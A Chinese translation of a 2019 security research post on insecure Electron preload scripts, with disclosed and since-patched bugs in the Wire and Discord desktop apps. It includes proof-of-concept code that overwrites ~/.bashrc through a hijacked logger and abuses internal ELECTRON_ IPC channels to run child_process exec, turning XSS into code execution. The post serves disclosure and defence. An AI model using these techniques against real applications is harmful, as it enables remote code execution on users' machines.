通过不安全预加载颠覆Electron应用
03 Apr 2019 - 发布于 Luca Carettoni
我们从BlackHat Asia 2019归来,在会上我们介绍了一类相对未被探索的Electron应用漏洞类型。
尽管普遍认知相反,默认安全设置正逐渐成为规范,开发社区也在逐步认识常见陷阱。隔离机制现已广泛部署于所有顶级Electron应用中,因此将XSS转化为RCE不再像过去那样简单。
BrowserWindow预加载机制引入了一个新颖而有趣的攻击向量。即使没有框架漏洞(例如nodeIntegration绕过),这个被忽视的攻击面也可以被滥用,以可靠方式绕过隔离并访问Node.js原语。
您可以从官方BlackHat Briefings档案下载我们演讲的幻灯片:http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf
Electron中的预加载不安全机制
预加载是一种在渲染器脚本加载前执行代码的机制。应用程序通常使用此机制向页面的window对象导出函数和对象,如官方文档所示:
1
2
3
4
5
6
7
8
9
10
|
let win
app.on('ready', () => {
win = new BrowserWindow({
webPreferences: {
sandbox: true,
preload: 'preload.js'
}
})
win.loadURL('http://google.com')
})
|
preload.js可以包含自定义逻辑,通过易于使用的函数或应用特定对象来增强渲染器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
const fs = require('fs')
const { ipcRenderer } = require('electron')
// 使用`fs`模块读取配置文件
const buf = fs.readFileSync('allowed-popup-urls.json')
const allowedUrls = JSON.parse(buf.toString('utf8'))
const defaultWindowOpen = window.open
function customWindowOpen (url, ...args) {
if (allowedUrls.indexOf(url) === -1) {
ipcRenderer.sendSync('blocked-popup-notification', location.origin, url)
return null
}
return defaultWindowOpen(url, ...args)
}
window.open = customWindowOpen
[...]
|
通过为客户进行大量评估,我们注意到对预加载脚本带来风险的认识普遍不足。即使在采用所有推荐安全最佳实践的流行应用程序中,我们也能够在几小时内将普通的XSS转化为RCE。
这促使我们进一步研究该主题,并将不安全预加载分为四类:
(1) 预加载脚本可以将Node全局符号重新引入全局范围
虽然将某些Node全局符号(例如process)重新引入渲染器显然是危险的,但对于Buffer等类的风险并不立即明显(可被用于nodeIntegration绕过)
(2) 预加载脚本可以引入可被不可信代码滥用的功能
预加载脚本可以访问Node.js,应用程序导出到全局窗口的函数通常包含危险原语
(3) 预加载脚本可以促进沙箱绕过
即使启用了沙箱,预加载脚本仍然可以访问Node.JS本机类和一些Electron模块。预加载代码可以将特权API泄漏给不可信代码,从而促进沙箱绕过
(4) 没有contextIsolation时,预加载脚本的完整性无法保证
当未使用隔离词时,原型污染攻击可以覆盖预加载脚本代码。在渲染器中运行的恶意JavaScript可以更改预加载函数以返回不同的数据、绕过检查等
在本博客文章中,我们将分析在两个流行应用程序中发现的两个属于第(2)类的漏洞:Wire App和Discord。有关更多漏洞和示例,请参阅我们的演示文稿。
WireApp桌面版通过不安全预加载实现任意文件写入
Wire App自称是"最安全的协作平台"。这是一个安全的消息传递应用程序,使用端到端加密进行文件共享、语音和视频通话。该应用程序通过使用nodeIntegration禁用的BrowserWindow来实现隔离,其中使用了webview HTML标签。
尽管实施了隔离,web-view-preload.js预加载文件包含以下代码:
1
2
3
4
5
6
7
8
9
10
|
const webViewLogger = new winston.Logger();
webViewLogger.add(winston.transports.File, {
filename: logFilePath,
handleExceptions: true,
});
webViewLogger.info(config.NAME, 'Version', config.VERSION);
// webapp使用全局winston引用来定义日志级别
global.winston = webViewLogger;
|
在隔离渲染器中运行的代码(例如XSS)可以覆盖记录器的传输设置以获得文件写入原语。
通过切换到消息视图可以轻松验证此问题:
1
|
window.document.getElementsByTagName("webview")[0].openDevTools();
|
然后执行以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
function formatme(args) {
var logMessage = args.message;
return logMessage;
}
winston.transports.file = (new winston.transports.file.__proto__.constructor({
dirname: '/home/ikki/',
level: 'error',
filename: '.bashrc',
json: false,
formatter: formatme
}))
winston.error('xcalc &');
|
此问题影响了所有支持的平台(Windows、Mac、Linux)。由于在macOS上启用了沙箱权限,攻击者需要将此问题与另一个错误链接才能写入应用程序文件夹外部。请注意,由于可以覆盖某些应用程序文件,即使没有macOS沙箱绕过,RCE仍然可能。
在我们披露后几天,于2019年3月14日发布了安全补丁。
Discord桌面版通过不安全预加载实现任意IPC
Discord是一个流行的语音和文本聊天工具,被超过2.5亿游戏玩家使用。该应用程序通过简单地使用nodeIntegration禁用的BrowserWindow来实现隔离。尽管如此,同一BrowserWindow使用的预加载脚本(app/mainScreenPreload.js)包含多个导出,包括以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
|
var DiscordNative = {
isRenderer: process.type === 'renderer',
//..
ipc: require('./discord_native/ipc'),
};
//..
process.once('loaded', function () {
global.DiscordNative = DiscordNative;
//..
}
|
其中app/discord_native/ipc.js包含以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
var electron = require('electron');
var ipcRenderer = electron.ipcRenderer;
function send(event) {
for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
ipcRenderer.send.apply(ipcRenderer, [event].concat(args));
}
function on(event, callback) {
ipcRenderer.on(event, callback);
}
module.exports = {
send: send,
on: on
};
|
不深入细节,此脚本基本上是官方Electron异步IPC机制的包装器,用于从渲染进程(网页)到主进程交换消息。
在Electron中,ipcMain和ipcRenderer模块用于实现主进程和渲染器之间的IPC,但它们也用于内部本机框架调用。例如,window.close()函数使用以下事件监听器实现:
1
2
3
4
5
6
7
8
|
// 实现window.close()
ipcMainInternal.on('ELECTRON_BROWSER_WINDOW_CLOSE', function (event) {
const window = event.sender.getOwnerBrowserWindow()
if (window) {
window.close()
}
event.returnValue = null
})
|
由于应用程序级IPC消息和ELECTRON_内部通道之间没有分离,设置任意通道名称的能力允许渲染器中的不可信代码破坏框架的安全机制。
例如,以下同步IPC调用可用于执行任意二进制文件:
1
2
3
4
5
6
7
8
9
|
(function () {
var ipcRenderer = require('electron').ipcRenderer
var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE","electron");
var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");
return ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
type: 'value',
value: "file:///Applications/Calculator.app"
}]);
})();
|
在Discord的预加载情况下,攻击者可以使用任意通道发出异步IPC消息。虽然无法从不受信任窗口中暴露的函数获取对象的引用,但攻击者仍然可以使用以下代码暴力破解child_process的引用:
1
2
3
4
5
6
7
8
|
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process");
for(var i=0;i<50;i++){
DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
type: 'value',
value: "calc.exe"
}]);
}
|
此问题影响了所有支持的平台(Windows、Mac、Linux)。在2019年初发布了安全补丁。此外,Discord还删除了与旧客户端的向后兼容代码。